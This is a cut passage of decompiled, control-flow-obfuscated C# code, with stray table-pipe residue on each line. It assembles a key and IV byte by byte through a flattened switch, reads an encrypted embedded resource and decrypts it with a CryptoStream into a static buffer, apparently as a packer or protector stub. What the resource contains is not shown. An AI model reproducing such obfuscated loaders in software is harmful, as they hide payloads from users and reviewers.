goto IL_738; | |
case 6: | |
array[9] = 220 - 73; | |
num2 = 46; | |
if (false) | |
{ | |
goto IL_15C2; | |
} | |
goto IL_227C; | |
case 7: | |
goto IL_122A; | |
case 8: | |
goto IL_717; | |
case 9: | |
goto IL_1012; | |
case 10: | |
num3 = 217 - 72; | |
arg_2280_0 = 112; | |
continue; | |
case 11: | |
case 326: | |
array[0] = 86 - 9; | |
num2 = 220; | |
if (!true) | |
{ | |
goto IL_1622; | |
} | |
goto IL_227C; | |
case 12: | |
goto IL_197C; | |
case 13: | |
goto IL_1454; | |
case 14: | |
num4 = 198 + 36; | |
num2 = 195; | |
if (exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
goto IL_139F; | |
} | |
goto IL_227C; | |
case 15: | |
goto IL_1C4C; | |
case 16: | |
goto IL_20D9; | |
case 17: | |
goto IL_2998; | |
case 18: | |
goto IL_1BD2; | |
case 19: | |
array[10] = 239 - 79; | |
arg_2280_0 = 57; | |
continue; | |
case 20: | |
goto IL_1964; | |
case 21: | |
goto IL_17BD; | |
case 22: | |
goto IL_27DB; | |
case 23: | |
goto IL_30; | |
case 24: | |
goto IL_2AFE; | |
case 25: | |
array[27] = (byte)num5; | |
num2 = 248; | |
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF()) | |
{ | |
goto Block_24; | |
} | |
goto IL_685; | |
case 26: | |
goto IL_11F5; | |
case 27: | |
array2[7] = 29 + 116; | |
arg_2280_0 = 103; | |
continue; | |
case 28: | |
array2[0] = (byte)num3; | |
num2 = 186; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
goto Block_25; | |
} | |
goto IL_F33; | |
case 29: | |
goto IL_965; | |
case 30: | |
array[21] = 104 + 79; | |
arg_2280_0 = 97; | |
continue; | |
case 31: | |
goto IL_3FF; | |
case 32: | |
goto IL_C9E; | |
case 33: | |
goto IL_27F9; | |
case 34: | |
array2[14] = (byte)num3; | |
arg_2280_0 = 208; | |
continue; | |
case 35: | |
goto IL_2A4F; | |
case 36: | |
num5 = 234 - 78; | |
arg_2280_0 = 276; | |
continue; | |
case 37: | |
goto IL_291B; | |
case 38: | |
goto IL_8DD; | |
case 39: | |
goto IL_139F; | |
case 40: | |
num6 = 87 + 85; | |
num2 = 100; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
goto Block_13; | |
} | |
goto IL_1D3C; | |
case 41: | |
goto IL_102A; | |
case 42: | |
goto IL_18; | |
case 43: | |
goto IL_13FA; | |
case 44: | |
goto IL_99C; | |
case 45: | |
goto IL_499; | |
case 46: | |
goto IL_1C81; | |
case 47: | |
array2[1] = (byte)num3; | |
num2 = 50; | |
if (false) | |
{ | |
goto IL_190C; | |
} | |
goto IL_227C; | |
case 48: | |
goto IL_E73; | |
case 49: | |
goto IL_4B7; | |
case 50: | |
num3 = 98 + 57; | |
arg_2280_0 = 42; | |
continue; | |
case 51: | |
array = new byte[32]; | |
arg_2280_0 = 309; | |
continue; | |
case 52: | |
goto IL_1E8C; | |
case 53: | |
array[5] = (byte)num5; | |
arg_2280_0 = 284; | |
continue; | |
case 54: | |
goto IL_2937; | |
case 55: | |
goto IL_1552; | |
case 56: | |
array[12] = 99 + 92; | |
num2 = 43; | |
if (!true) | |
{ | |
goto IL_A5D; | |
} | |
goto IL_227C; | |
case 57: | |
goto IL_15C2; | |
case 58: | |
goto IL_196; | |
case 59: | |
goto IL_2068; | |
case 60: | |
goto IL_D30; | |
case 61: | |
goto IL_EE; | |
case 62: | |
goto IL_326; | |
case 63: | |
goto IL_104E; | |
case 64: | |
goto IL_E36; | |
case 65: | |
goto IL_A04; | |
case 66: | |
goto IL_2B16; | |
case 67: | |
goto IL_F33; | |
case 68: | |
array3 = array; | |
arg_2280_0 = 63; | |
continue; | |
case 69: | |
goto IL_1F12; | |
case 70: | |
array2[5] = (byte)num4; | |
arg_2280_0 = 102; | |
continue; | |
case 71: | |
goto IL_21F4; | |
case 72: | |
num3 = 82 + 112; | |
arg_2280_0 = 141; | |
continue; | |
case 73: | |
goto IL_2A09; | |
case 74: | |
array[12] = 68 + 119; | |
arg_2280_0 = 251; | |
continue; | |
case 75: | |
goto IL_153A; | |
case 76: | |
num6 = 74 + 121; | |
num2 = 261; | |
if (!exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF()) | |
{ | |
goto IL_D6A; | |
} | |
goto IL_227C; | |
case 77: | |
goto IL_1A77; | |
case 78: | |
array[5] = (byte)num5; | |
num2 = 235; | |
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF()) | |
{ | |
goto Block_3; | |
} | |
goto IL_1659; | |
case 79: | |
goto IL_1A93; | |
case 80: | |
goto IL_2AC7; | |
case 81: | |
goto IL_2196; | |
case 82: | |
goto IL_2128; | |
case 83: | |
goto IL_1B36; | |
case 84: | |
num5 = 193 - 64; | |
arg_2280_0 = 200; | |
continue; | |
case 85: | |
array2[8] = (byte)num4; | |
arg_2280_0 = 304; | |
continue; | |
case 86: | |
goto IL_1749; | |
case 87: | |
array[20] = 207 - 69; | |
arg_2280_0 = 228; | |
continue; | |
case 88: | |
goto IL_5D2; | |
case 89: | |
goto IL_FAA; | |
case 90: | |
num5 = 1 + 102; | |
arg_2280_0 = 25; | |
continue; | |
case 92: | |
goto IL_E1D; | |
case 93: | |
goto IL_1AB6; | |
case 94: | |
array[28] = (byte)num6; | |
arg_2280_0 = 120; | |
continue; | |
case 95: | |
array[4] = (byte)num6; | |
arg_2280_0 = 113; | |
continue; | |
case 96: | |
goto IL_B65; | |
case 97: | |
num6 = 113 + 20; | |
arg_2280_0 = 49; | |
continue; | |
case 98: | |
goto IL_204A; | |
case 99: | |
goto IL_FDB; | |
case 100: | |
goto IL_1E25; | |
case 101: | |
goto IL_21B2; | |
case 102: | |
num3 = 52 + 52; | |
arg_2280_0 = 4; | |
continue; | |
case 103: | |
goto IL_1A2A; | |
case 104: | |
goto IL_91B; | |
case 105: | |
goto IL_780; | |
case 106: | |
goto IL_1896; | |
case 107: | |
goto IL_26E; | |
case 108: | |
goto IL_113A; | |
case 109: | |
goto IL_A5D; | |
case 110: | |
goto IL_11D8; | |
case 111: | |
num6 = 230 - 76; | |
arg_2280_0 = 240; | |
continue; | |
case 112: | |
goto IL_39C; | |
case 113: | |
goto IL_182A; | |
case 114: | |
goto IL_17D; | |
case 115: | |
num4 = 92 + 28; | |
num2 = 218; | |
if (!true) | |
{ | |
goto IL_BFA; | |
} | |
goto IL_227C; | |
case 116: | |
goto IL_1B19; | |
case 117: | |
goto IL_543; | |
case 118: | |
array2[10] = 88 + 36; | |
arg_2280_0 = 254; | |
continue; | |
case 119: | |
goto IL_199B; | |
case 120: | |
array[28] = 11 - 2; | |
arg_2280_0 = 111; | |
continue; | |
case 121: | |
array2[9] = 191 - 63; | |
num2 = 253; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
goto Block_11; | |
} | |
goto IL_2ADF; | |
case 122: | |
goto IL_5BD; | |
case 123: | |
goto IL_AD9; | |
case 124: | |
goto IL_588; | |
case 125: | |
goto IL_1D3C; | |
case 126: | |
goto IL_1CEF; | |
case 127: | |
goto IL_1F4A; | |
case 128: | |
array[22] = (byte)num6; | |
arg_2280_0 = 318; | |
continue; | |
case 129: | |
goto IL_20E; | |
case 130: | |
num4 = 194 - 105; | |
arg_2280_0 = 164; | |
continue; | |
case 131: | |
array4 = binaryReader.ReadBytes((int)binaryReader.get_BaseStream().get_Length()); | |
arg_2280_0 = 51; | |
continue; | |
case 132: | |
goto IL_28DC; | |
case 133: | |
goto IL_1641; | |
case 134: | |
array2[3] = 128 - 42; | |
num2 = 213; | |
if (!false) | |
{ | |
goto IL_227C; | |
} | |
break; | |
case 135: | |
goto IL_9D4; | |
case 136: | |
array[24] = 65 + 69; | |
num2 = 331; | |
if (!true) | |
{ | |
goto IL_45A; | |
} | |
goto IL_227C; | |
case 137: | |
num6 = 56 + 29; | |
arg_2280_0 = 94; | |
continue; | |
case 138: | |
goto IL_F86; | |
case 139: | |
goto IL_AF; | |
case 140: | |
goto IL_6B6; | |
case 141: | |
goto IL_168A; | |
case 142: | |
goto IL_1C28; | |
case 143: | |
goto IL_63; | |
case 144: | |
goto IL_28BD; | |
case 145: | |
goto IL_1066; | |
case 146: | |
goto IL_12CA; | |
case 147: | |
goto IL_2175; | |
case 148: | |
num6 = 87 - 81; | |
arg_2280_0 = 214; | |
continue; | |
case 149: | |
goto IL_13D4; | |
case 150: | |
num3 = 163 - 54; | |
arg_2280_0 = 231; | |
continue; | |
case 151: | |
goto IL_6D3; | |
case 152: | |
goto IL_1AD0; | |
case 153: | |
goto IL_3B8; | |
case 154: | |
goto IL_13BC; | |
case 155: | |
num6 = 42 - 0; | |
num2 = 147; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
goto Block_21; | |
} | |
goto IL_EFD; | |
case 156: | |
goto IL_C6A; | |
case 157: | |
goto IL_505; | |
case 158: | |
goto IL_948; | |
case 159: | |
goto IL_61D; | |
case 160: | |
goto IL_1AE; | |
case 161: | |
goto IL_10A; | |
case 162: | |
binaryReader.get_BaseStream().set_Position(0L); | |
arg_2280_0 = 131; | |
continue; | |
case 163: | |
goto IL_1785; | |
case 164: | |
goto IL_7F9; | |
case 165: | |
goto IL_2022; | |
case 166: | |
goto IL_1CC; | |
case 167: | |
goto IL_635; | |
case 168: | |
goto IL_CC2; | |
case 169: | |
goto IL_685; | |
case 170: | |
goto IL_1F2B; | |
case 171: | |
goto IL_B7E; | |
case 172: | |
goto IL_17DA; | |
case 173: | |
goto IL_29CD; | |
case 174: | |
goto IL_1CCB; | |
case 175: | |
array2[15] = 99 + 26; | |
arg_2280_0 = 233; | |
continue; | |
case 176: | |
goto IL_15DB; | |
case 177: | |
goto IL_342; | |
case 178: | |
goto IL_1DCA; | |
case 179: | |
goto IL_2AA9; | |
case 180: | |
goto IL_1437; | |
case 181: | |
num4 = 66 + 113; | |
arg_2280_0 = 207; | |
continue; | |
case 182: | |
goto IL_45A; | |
case 183: | |
goto IL_2ADF; | |
case 184: | |
array[15] = (byte)num6; | |
arg_2280_0 = 125; | |
continue; | |
case 185: | |
goto IL_1BB4; | |
case 186: | |
goto IL_2A28; | |
case 187: | |
goto IL_157F; | |
case 188: | |
goto IL_2BA0; | |
case 189: | |
memoryStream = new MemoryStream(); | |
num2 = 93; | |
if (!true) | |
{ | |
goto IL_1F12; | |
} | |
goto IL_227C; | |
case 190: | |
num4 = 181 - 60; | |
arg_2280_0 = 169; | |
continue; | |
case 191: | |
goto IL_2B7A; | |
case 192: | |
goto IL_97E; | |
case 193: | |
goto IL_EC7; | |
case 194: | |
goto IL_4D4; | |
case 195: | |
goto IL_BB6; | |
case 196: | |
goto IL_816; | |
case 197: | |
array2[2] = 113 + 74; | |
num2 = 190; | |
if (false) | |
{ | |
goto IL_2BD4; | |
} | |
goto IL_227C; | |
case 198: | |
array[12] = (byte)num6; | |
arg_2280_0 = 74; | |
continue; | |
case 199: | |
goto IL_22B; | |
case 200: | |
goto IL_2A60; | |
case 201: | |
num6 = 149 - 49; | |
arg_2280_0 = 198; | |
continue; | |
case 202: | |
goto IL_F50; | |
case 203: | |
goto IL_A99; | |
case 204: | |
goto IL_D0C; | |
case 205: | |
goto IL_F68; | |
case 206: | |
goto IL_10B2; | |
case 207: | |
array2[10] = (byte)num4; | |
arg_2280_0 = 118; | |
continue; | |
case 208: | |
goto IL_1413; | |
case 209: | |
goto IL_1D13; | |
case 210: | |
array[18] = (byte)num5; | |
arg_2280_0 = 298; | |
continue; | |
case 211: | |
goto IL_3E0; | |
case 212: | |
goto IL_20C1; | |
case 213: | |
array2[3] = 211 - 70; | |
arg_2280_0 = 227; | |
continue; | |
case 214: | |
goto IL_2140; | |
case 215: | |
break; | |
case 216: | |
goto IL_835; | |
case 217: | |
goto IL_B06; | |
case 218: | |
goto IL_1E74; | |
case 219: | |
goto IL_1858; | |
case 220: | |
array[1] = 42 + 88; | |
arg_2280_0 = 44; | |
continue; | |
case 221: | |
array2[0] = 135 - 42; | |
num2 = 10; | |
if (!exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF()) | |
{ | |
goto IL_1BB4; | |
} | |
goto IL_227C; | |
case 222: | |
goto IL_1266; | |
case 223: | |
array[11] = 203 - 67; | |
arg_2280_0 = 109; | |
continue; | |
case 224: | |
num4 = 169 - 56; | |
arg_2280_0 = 70; | |
continue; | |
case 225: | |
goto IL_1DE2; | |
case 226: | |
array[13] = 121 + 44; | |
num2 = 157; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
goto Block_20; | |
} | |
goto IL_D30; | |
case 227: | |
goto IL_2236; | |
case 228: | |
goto IL_24F; | |
case 229: | |
goto IL_2085; | |
case 230: | |
goto IL_15E; | |
case 231: | |
array2[6] = (byte)num3; | |
arg_2280_0 = 72; | |
continue; | |
case 232: | |
goto IL_10FF; | |
case 233: | |
goto IL_5A0; | |
case 234: | |
array2[10] = (byte)num3; | |
arg_2280_0 = 181; | |
continue; | |
case 235: | |
goto IL_1622; | |
case 236: | |
num4 = 133 - 44; | |
arg_2280_0 = 85; | |
continue; | |
case 237: | |
goto IL_C85; | |
case 238: | |
goto IL_DAC; | |
case 239: | |
num6 = 112 + 47; | |
arg_2280_0 = 124; | |
continue; | |
case 240: | |
goto IL_1096; | |
case 241: | |
array[4] = 66 + 15; | |
arg_2280_0 = 92; | |
continue; | |
case 242: | |
goto IL_EE5; | |
case 243: | |
goto IL_1877; | |
case 244: | |
goto IL_E54; | |
case 245: | |
goto IL_2210; | |
case 246: | |
goto IL_10E6; | |
case 247: | |
goto IL_120D; | |
case 248: | |
goto IL_2881; | |
case 249: | |
goto IL_1CA9; | |
case 250: | |
goto IL_6EF; | |
case 251: | |
goto IL_BFA; | |
case 252: | |
goto IL_1A11; | |
case 253: | |
goto IL_AC0; | |
case 254: | |
array2[10] = 164 - 54; | |
arg_2280_0 = 272; | |
continue; | |
case 255: | |
array2[12] = 7 + 95; | |
arg_2280_0 = 86; | |
continue; | |
case 256: | |
goto IL_93; | |
case 257: | |
goto IL_1BEA; | |
case 258: | |
memoryStream.Close(); | |
num2 = 35; | |
if (false) | |
{ | |
goto IL_780; | |
} | |
goto IL_227C; | |
case 259: | |
goto IL_1D90; | |
case 260: | |
array[22] = 96 + 123; | |
arg_2280_0 = 322; | |
continue; | |
case 261: | |
goto IL_EFD; | |
case 262: | |
goto IL_215C; | |
case 263: | |
goto IL_1AF1; | |
case 264: | |
array[12] = (byte)num6; | |
arg_2280_0 = 201; | |
continue; | |
case 265: | |
num3 = 226 - 75; | |
arg_2280_0 = 234; | |
continue; | |
case 266: | |
cryptoStream.FlushFinalBlock(); | |
arg_2280_0 = 337; | |
continue; | |
case 267: | |
goto IL_1EE4; | |
case 268: | |
goto IL_2BD4; | |
case 269: | |
goto IL_DE7; | |
case 270: | |
goto IL_115D; | |
case 271: | |
goto IL_E90; | |
case 272: | |
goto IL_41D; | |
case 273: | |
goto IL_1F7C; | |
case 274: | |
num4 = 140 - 46; | |
arg_2280_0 = 256; | |
continue; | |
case 275: | |
goto IL_2864; | |
case 276: | |
array[4] = (byte)num5; | |
arg_2280_0 = 241; | |
continue; | |
case 277: | |
goto IL_19B8; | |
case 278: | |
goto IL_297C; | |
case 279: | |
goto IL_7B8; | |
case 280: | |
goto IL_B42; | |
case 281: | |
array[0] = 250 - 83; | |
arg_2280_0 = 104; | |
continue; | |
case 282: | |
goto IL_14C3; | |
case 283: | |
array2[7] = (byte)num3; | |
arg_2280_0 = 3; | |
continue; | |
case 284: | |
goto IL_111B; | |
case 285: | |
num5 = 50 + 81; | |
arg_2280_0 = 133; | |
continue; | |
case 286: | |
num6 = 110 + 12; | |
num2 = 23; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
goto Block_16; | |
} | |
goto IL_D0C; | |
case 287: | |
goto IL_16D7; | |
case 288: | |
array2[5] = 182 - 60; | |
arg_2280_0 = 224; | |
continue; | |
case 289: | |
goto IL_1283; | |
case 290: | |
goto IL_1FB8; | |
case 291: | |
goto IL_19ED; | |
case 292: | |
goto IL_1DAC; | |
case 293: | |
goto IL_565; | |
case 294: | |
num5 = 60 + 91; | |
arg_2280_0 = 259; | |
continue; | |
case 295: | |
num5 = 49 + 84; | |
arg_2280_0 = 78; | |
continue; | |
case 296: | |
goto IL_8FE; | |
case 297: | |
num5 = 66 + 38; | |
arg_2280_0 = 312; | |
continue; | |
case 298: | |
num5 = 63 + 62; | |
arg_2280_0 = 149; | |
continue; | |
case 299: | |
goto IL_18BA; | |
case 300: | |
array[26] = 134 - 113; | |
arg_2280_0 = 90; | |
continue; | |
case 301: | |
goto IL_28A5; | |
case 302: | |
goto IL_A21; | |
case 303: | |
goto IL_F1A; | |
case 304: | |
goto IL_11BF; | |
case 305: | |
array[25] = 47 + 42; | |
arg_2280_0 = 16; | |
continue; | |
case 306: | |
array2[8] = (byte)num4; | |
arg_2280_0 = 121; | |
continue; | |
case 307: | |
array[15] = (byte)num6; | |
arg_2280_0 = 84; | |
continue; | |
case 308: | |
goto IL_D6A; | |
case 309: | |
array[0] = 212 - 70; | |
num2 = 107; | |
if (false) | |
{ | |
goto IL_12CA; | |
} | |
goto IL_227C; | |
case 310: | |
num5 = 161 - 53; | |
num2 = 9; | |
if (false) | |
{ | |
goto IL_2128; | |
} | |
goto IL_227C; | |
case 311: | |
array[5] = 22 + 59; | |
arg_2280_0 = 308; | |
continue; | |
case 312: | |
array[19] = (byte)num5; | |
arg_2280_0 = 185; | |
continue; | |
case 313: | |
num3 = 229 - 76; | |
arg_2280_0 = 283; | |
continue; | |
case 314: | |
goto IL_A7C; | |
case 315: | |
goto IL_1659; | |
case 316: | |
goto IL_19D5; | |
case 317: | |
num3 = 16 + 93; | |
num2 = 151; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
goto Block_2; | |
} | |
goto IL_1BB4; | |
case 318: | |
goto IL_1243; | |
case 319: | |
binaryReader = new BinaryReader(typeof(exusuKvsSOxhZLQsnV).get_Assembly().GetManifestResourceStream("3bVH8RDfe6pr0fPRiS.sb41gNXn9libkn6vcu")); | |
arg_2280_0 = 162; | |
continue; | |
case 320: | |
goto IL_1306; | |
case 321: | |
goto IL_133B; | |
case 322: | |
goto IL_18D6; | |
case 323: | |
goto IL_12E3; | |
case 324: | |
goto IL_16F4; | |
case 325: | |
num6 = 228 - 76; | |
num2 = 18; | |
if (!true) | |
{ | |
goto IL_7F9; | |
} | |
goto IL_227C; | |
case 327: | |
array[1] = 32 + 107; | |
arg_2280_0 = 215; | |
continue; | |
case 328: | |
array[17] = 36 + 67; | |
num2 = 33; | |
if (exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
goto IL_61D; | |
} | |
goto IL_227C; | |
case 329: | |
num5 = 41 + 73; | |
arg_2280_0 = 8; | |
continue; | |
case 330: | |
num5 = 109 - 71; | |
arg_2280_0 = 335; | |
continue; | |
case 331: | |
array[24] = 121 - 100; | |
arg_2280_0 = 41; | |
continue; | |
case 332: | |
goto IL_862; | |
case 333: | |
goto IL_1EA9; | |
case 334: | |
array2[13] = 213 + 35; | |
arg_2280_0 = 115; | |
continue; | |
case 335: | |
goto IL_16BB; | |
case 336: | |
goto IL_2259; | |
case 337: | |
goto IL_48; | |
case 338: | |
goto IL_2BF3; | |
default: | |
arg_2280_0 = 79; | |
continue; | |
} | |
array[2] = 53 + 24; | |
arg_2280_0 = 199; | |
continue; | |
IL_61D: | |
array[26] = (byte)num5; | |
arg_2280_0 = 300; | |
continue; | |
IL_685: | |
array2[3] = (byte)num4; | |
arg_2280_0 = 134; | |
continue; | |
IL_780: | |
num6 = 62 + 38; | |
arg_2280_0 = 75; | |
continue; | |
IL_816: | |
array2[0] = 179 - 59; | |
arg_2280_0 = 65; | |
continue; | |
IL_7F9: | |
array2[12] = (byte)num4; | |
num2 = 73; | |
if (!true) | |
{ | |
goto IL_816; | |
} | |
goto IL_227C; | |
IL_A5D: | |
array[11] = 243 - 81; | |
arg_2280_0 = 217; | |
continue; | |
IL_BFA: | |
array[12] = 89 - 7; | |
arg_2280_0 = 96; | |
continue; | |
IL_D30: | |
array2[0] = (byte)num3; | |
arg_2280_0 = 221; | |
continue; | |
IL_D0C: | |
array[3] = 44 + 0; | |
num2 = 76; | |
if (!true) | |
{ | |
goto IL_D30; | |
} | |
goto IL_227C; | |
IL_D6A: | |
num6 = 216 - 72; | |
arg_2280_0 = 161; | |
continue; | |
IL_F1A: | |
num4 = 229 - 76; | |
arg_2280_0 = 66; | |
continue; | |
IL_EFD: | |
array[3] = (byte)num6; | |
num2 = 194; | |
if (false) | |
{ | |
goto IL_F1A; | |
} | |
goto IL_227C; | |
IL_F50: | |
array[27] = (byte)num5; | |
arg_2280_0 = 165; | |
continue; | |
IL_F33: | |
array2[11] = (byte)num3; | |
num2 = 271; | |
if (!true) | |
{ | |
goto IL_F50; | |
} | |
goto IL_227C; | |
IL_1066: | |
array[28] = (byte)num5; | |
arg_2280_0 = 22; | |
continue; | |
IL_45A: | |
num4 = 229 - 76; | |
num2 = 301; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
goto Block_4; | |
} | |
goto IL_1066; | |
IL_11BF: | |
num3 = 7 + 22; | |
arg_2280_0 = 140; | |
continue; | |
IL_1D3C: | |
array[16] = 56 + 113; | |
num2 = 89; | |
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF()) | |
{ | |
goto Block_14; | |
} | |
goto IL_11BF; | |
IL_12CA: | |
num5 = 167 + 63; | |
arg_2280_0 = 54; | |
continue; | |
IL_13BC: | |
array2[11] = (byte)num4; | |
arg_2280_0 = 303; | |
continue; | |
IL_139F: | |
array2[9] = (byte)num4; | |
num2 = 321; | |
if (!true) | |
{ | |
goto IL_13BC; | |
} | |
goto IL_227C; | |
IL_15C2: | |
num6 = 17 + 63; | |
arg_2280_0 = 81; | |
continue; | |
IL_1622: | |
array[5] = 11 + 54; | |
arg_2280_0 = 5; | |
continue; | |
IL_1659: | |
num6 = 121 + 56; | |
arg_2280_0 = 307; | |
continue; | |
IL_190C: | |
array2[5] = (byte)num3; | |
arg_2280_0 = 244; | |
continue; | |
IL_1BD2: | |
array[15] = (byte)num6; | |
arg_2280_0 = 2; | |
continue; | |
IL_1BB4: | |
num6 = 143 - 47; | |
num2 = 166; | |
if (false) | |
{ | |
goto IL_1BD2; | |
} | |
goto IL_227C; | |
IL_1F12: | |
num5 = 183 - 61; | |
arg_2280_0 = 159; | |
continue; | |
IL_2128: | |
array[29] = (byte)num6; | |
arg_2280_0 = 40; | |
continue; | |
IL_2ADF: | |
array[26] = 244 - 81; | |
arg_2280_0 = 69; | |
continue; | |
IL_2BD4: | |
array2[0] = 84 + 18; | |
arg_2280_0 = 292; | |
} | |
IL_48: | |
exusuKvsSOxhZLQsnV.eTKTfNqfR = memoryStream.ToArray(); | |
num2 = 258; | |
if (!true) | |
{ | |
goto IL_63; | |
} | |
continue; | |
IL_93: | |
array2[13] = (byte)num4; | |
num2 = 334; | |
Block_2: | |
continue; | |
IL_EE: | |
array[18] = (byte)num5; | |
num2 = 222; | |
continue; | |
IL_10A: | |
array[5] = (byte)num6; | |
num2 = 295; | |
continue; | |
IL_1AE: | |
num3 = 133 - 44; | |
num2 = 116; | |
if (!false) | |
{ | |
continue; | |
} | |
IL_1CC: | |
array[19] = (byte)num6; | |
num2 = 249; | |
Block_3: | |
continue; | |
IL_20E: | |
num6 = 82 + 119; | |
num2 = 82; | |
continue; | |
IL_22B: | |
array[2] = 243 - 81; | |
num2 = 216; | |
if (false) | |
{ | |
goto IL_24F; | |
} | |
continue; | |
IL_326: | |
array2[12] = (byte)num4; | |
num2 = 160; | |
continue; | |
IL_342: | |
array[14] = 35 + 107; | |
num2 = 48; | |
continue; | |
IL_39C: | |
array2[1] = (byte)num3; | |
num2 = 277; | |
continue; | |
IL_3B8: | |
array2[3] = 71 - 66; | |
num2 = 176; | |
if (!exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF()) | |
{ | |
goto IL_3E0; | |
} | |
continue; | |
IL_3FF: | |
num4 = 151 - 50; | |
num2 = 154; | |
if (false) | |
{ | |
goto IL_41D; | |
} | |
Block_4: | |
continue; | |
IL_499: | |
num3 = 235 - 121; | |
num2 = 34; | |
if (!false) | |
{ | |
continue; | |
} | |
IL_4B7: | |
array[21] = (byte)num6; | |
num2 = 155; | |
if (false) | |
{ | |
goto IL_4D4; | |
} | |
continue; | |
IL_543: | |
num5 = 22 + 98; | |
num2 = 71; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
continue; | |
} | |
IL_565: | |
array[7] = 68 + 100; | |
num2 = 243; | |
continue; | |
IL_5A0: | |
num3 = 68 + 56; | |
num2 = 80; | |
continue; | |
IL_5BD: | |
binaryReader.Close(); | |
num2 = 156; | |
continue; | |
IL_5D2: | |
array[18] = 108 + 56; | |
num2 = 282; | |
continue; | |
IL_6B6: | |
array2[8] = (byte)num3; | |
num2 = 257; | |
if (true) | |
{ | |
continue; | |
} | |
IL_6D3: | |
array2[14] = (byte)num3; | |
num2 = 45; | |
continue; | |
IL_6EF: | |
array[9] = 87 - 24; | |
num2 = 19; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
continue; | |
} | |
IL_717: | |
array[16] = (byte)num5; | |
num2 = 285; | |
if (exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
goto IL_738; | |
} | |
continue; | |
IL_7B8: | |
array[23] = 23 - 23; | |
num2 = 170; | |
continue; | |
IL_835: | |
array[2] = 153 - 51; | |
num2 = 117; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
continue; | |
} | |
goto IL_E90; | |
IL_8DD: | |
array2[6] = (byte)num4; | |
num2 = 55; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
continue; | |
} | |
IL_8FE: | |
num5 = 191 + 51; | |
num2 = 143; | |
continue; | |
IL_91B: | |
array[0] = 179 - 59; | |
num2 = 286; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
continue; | |
} | |
goto IL_2937; | |
IL_948: | |
num6 = 61 + 28; | |
num2 = 278; | |
continue; | |
IL_2937: | |
array[11] = (byte)num5; | |
num2 = 59; | |
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF()) | |
{ | |
continue; | |
} | |
goto IL_948; | |
IL_97E: | |
num4 = 149 + 49; | |
num2 = 206; | |
if (false) | |
{ | |
goto IL_99C; | |
} | |
continue; | |
IL_A04: | |
num3 = 239 - 79; | |
num2 = 28; | |
continue; | |
IL_A7C: | |
num5 = 137 - 45; | |
num2 = 202; | |
continue; | |
IL_A99: | |
num5 = 105 + 15; | |
num2 = 61; | |
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF()) | |
{ | |
continue; | |
} | |
goto IL_A21; | |
IL_AD9: | |
array2[11] = 228 - 76; | |
num2 = 31; | |
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF()) | |
{ | |
continue; | |
} | |
goto IL_2998; | |
IL_B06: | |
array[11] = 217 - 72; | |
num2 = 287; | |
continue; | |
IL_B42: | |
array[29] = 124 + 77; | |
num2 = 246; | |
continue; | |
IL_BB6: | |
array2[10] = (byte)num4; | |
num2 = 123; | |
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC()) | |
{ | |
continue; | |
} | |
goto IL_1E74; | |
IL_C6A: | |
num7 = BitConverter.ToInt32(exusuKvsSOxhZLQsnV.eTKTfNqfR, num); | |
num2 = 338; | |
continue; | |
IL_1F9E: | |
if (exusuKvsSOxhZLQsnV.eTKTfNqfR.Length == 0) | |
{ | |
num2 = 319; | |
continue; | |
} | |
goto IL_C6A; | |
IL_C9E: | |
array[3] = 163 - 54; | |
num2 = 204; | |
if (!true) | |
{ | |
goto IL_CC2; | |
} | |
continue; | |
IL_DAC: | |
array[31] = 87 + 36; | |
num2 = 323; | |
continue; | |
IL_E36: | |
num3 = 148 - 49; | |
num2 = 15; | |
if (false) | |
{ | |
goto IL_E54; | |
} | |
continue; | |
IL_E73: | |
num5 = 182 + 28; | |
num2 = 135; | |
continue; | |
IL_EC7: | |
num5 = 34 + 38; | |
num2 = 168; | |
if (false) | |
{ | |
goto IL_EE5; | |
} | |
continue; | |
IL_F68: | |
num3 = 0 + 47; | |
num2 = 58; | |
if (true) | |
{ | |
continue; | |
} | |
IL_F86: | |
array[30] = 246 - 82; | |
num2 = 330; | |
if (!true) | |
{ | |
goto IL_FAA; | |
} | |
continue; | |
IL_102A: | |
array[25] = 52 + 19; | |
num2 = 180; | |
if (!true) | |
{ | |
goto IL_104E; | |
} | |
continue; | |
IL_1096: | |
array[29] = (byte)num6; | |
num2 = 273; | |
continue; | |
IL_10B2: | |
array2[4] = (byte)num4; | |
num2 = 182; | |
continue; | |
IL_10FF: | |
array[19] = (byte)num5; | |
num2 = 297; | |
continue; | |
IL_113A: | |
array2[1] = 152 - 50; | |
num2 = 187; | |
continue; | |
IL_115D: | |
array[24] = 207 - 69; | |
num2 = 105; | |
continue; | |
